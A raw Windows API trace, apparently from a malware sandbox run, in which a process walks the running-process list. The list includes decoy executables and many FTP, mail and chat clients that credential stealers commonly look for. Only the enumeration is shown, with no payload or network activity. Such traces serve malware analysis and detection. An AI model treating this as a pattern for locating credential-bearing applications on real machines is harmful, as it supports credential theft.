	[0062.276] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0062.277] lstrlenW (lpString="csrss.exe") returned 9
	[0062.277] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0062.277] lstrlenW (lpString="wininit.exe") returned 11
	[0062.277] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0062.278] lstrlenW (lpString="csrss.exe") returned 9
	[0062.278] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0062.278] lstrlenW (lpString="winlogon.exe") returned 12
	[0062.278] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0062.408] lstrlenW (lpString="services.exe") returned 12
	[0062.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0062.408] lstrlenW (lpString="lsass.exe") returned 9
	[0062.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.409] lstrlenW (lpString="svchost.exe") returned 11
	[0062.409] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0062.409] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0062.409] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0062.410] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0062.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.410] lstrlenW (lpString="svchost.exe") returned 11
	[0062.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0062.411] lstrlenW (lpString="dwm.exe") returned 7
	[0062.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.411] lstrlenW (lpString="svchost.exe") returned 11
	[0062.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.412] lstrlenW (lpString="svchost.exe") returned 11
	[0062.412] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.413] lstrlenW (lpString="svchost.exe") returned 11
	[0062.413] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.413] lstrlenW (lpString="svchost.exe") returned 11
	[0062.413] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.414] lstrlenW (lpString="svchost.exe") returned 11
	[0062.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.414] lstrlenW (lpString="svchost.exe") returned 11
	[0062.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.415] lstrlenW (lpString="svchost.exe") returned 11
	[0062.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.415] lstrlenW (lpString="svchost.exe") returned 11
	[0062.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.416] lstrlenW (lpString="svchost.exe") returned 11
	[0062.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.416] lstrlenW (lpString="svchost.exe") returned 11
	[0062.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0062.417] lstrlenW (lpString="spoolsv.exe") returned 11
	[0062.417] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.417] lstrlenW (lpString="svchost.exe") returned 11
	[0062.417] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0062.418] lstrlenW (lpString="audiodg.exe") returned 11
	[0062.418] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0062.418] lstrlenW (lpString="sihost.exe") returned 10
	[0062.418] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.419] lstrlenW (lpString="svchost.exe") returned 11
	[0062.419] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0062.419] lstrlenW (lpString="taskhostw.exe") returned 13
	[0062.419] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0062.420] lstrlenW (lpString="explorer.exe") returned 12
	[0062.420] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0062.420] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0062.420] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0062.421] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0062.421] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0062.421] lstrlenW (lpString="Memory Compression") returned 18
	[0062.421] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0062.422] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0062.422] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0062.423] lstrlenW (lpString="SearchUI.exe") returned 12
	[0062.423] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0062.423] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0062.423] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0062.424] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0062.424] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0062.424] lstrlenW (lpString="pending.exe") returned 11
	[0062.425] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0062.425] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0062.425] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0062.425] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0062.426] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0062.426] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0062.426] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0062.427] lstrlenW (lpString="search.exe") returned 10
	[0062.427] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0062.427] lstrlenW (lpString="compatibility.exe") returned 17
	[0062.427] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0062.428] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0062.428] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0062.428] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0062.428] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0062.429] lstrlenW (lpString="try.exe") returned 7
	[0062.429] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0062.429] lstrlenW (lpString="consultancy.exe") returned 15
	[0062.429] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0062.430] lstrlenW (lpString="especially.exe") returned 14
	[0062.430] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0062.430] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0062.430] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0062.431] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0062.431] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0062.431] lstrlenW (lpString="modules.exe") returned 11
	[0062.431] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0062.432] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0062.432] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0062.433] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0062.433] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0062.433] lstrlenW (lpString="3dftp.exe") returned 9
	[0062.433] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0062.434] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0062.434] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0062.434] lstrlenW (lpString="alftp.exe") returned 9
	[0062.434] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0062.435] lstrlenW (lpString="barca.exe") returned 9
	[0062.435] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0062.436] lstrlenW (lpString="bitkinex.exe") returned 12
	[0062.436] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0062.437] lstrlenW (lpString="coreftp.exe") returned 11
	[0062.437] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0062.437] lstrlenW (lpString="far.exe") returned 7
	[0062.437] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0062.439] lstrlenW (lpString="filezilla.exe") returned 13
	[0062.439] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0062.440] lstrlenW (lpString="flashfxp.exe") returned 12
	[0062.440] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0062.440] lstrlenW (lpString="fling.exe") returned 9
	[0062.441] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0062.441] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0062.441] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0062.442] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0062.442] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0062.443] lstrlenW (lpString="icq.exe") returned 7
	[0062.443] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0062.444] lstrlenW (lpString="leechftp.exe") returned 12
	[0062.444] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0062.445] lstrlenW (lpString="ncftp.exe") returned 9
	[0062.445] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0062.445] lstrlenW (lpString="notepad.exe") returned 11
	[0062.445] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0062.466] lstrlenW (lpString="operamail.exe") returned 13
	[0062.466] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0062.466] lstrlenW (lpString="pidgin.exe") returned 10
	[0062.466] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0062.467] lstrlenW (lpString="scriptftp.exe") returned 13
